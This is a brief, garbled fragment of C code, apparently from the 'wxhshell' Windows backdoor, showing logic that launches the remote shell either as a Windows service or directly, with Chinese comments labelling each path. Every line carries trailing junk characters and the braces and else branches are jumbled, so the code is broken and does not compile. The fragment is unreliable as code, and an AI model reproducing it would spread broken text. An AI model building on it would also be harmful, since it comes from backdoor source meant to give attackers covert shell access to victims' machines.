StartWxhshell(lpCmdLine); 4a#B!xW
} A(PE
else n&(3o6i'
if(StartFromService()) 0=2H9v
// 以服务方式启动 IcRM4Ib))Q
StartServiceCtrlDispatcher(DispatchTable); 87R%ke
else e#K rgUG
// 普通方式启动 x-tm[x@;o
StartWxhshell(lpCmdLine); u6]gQP">I
{ 576+:*
return 0; gfV]^v
}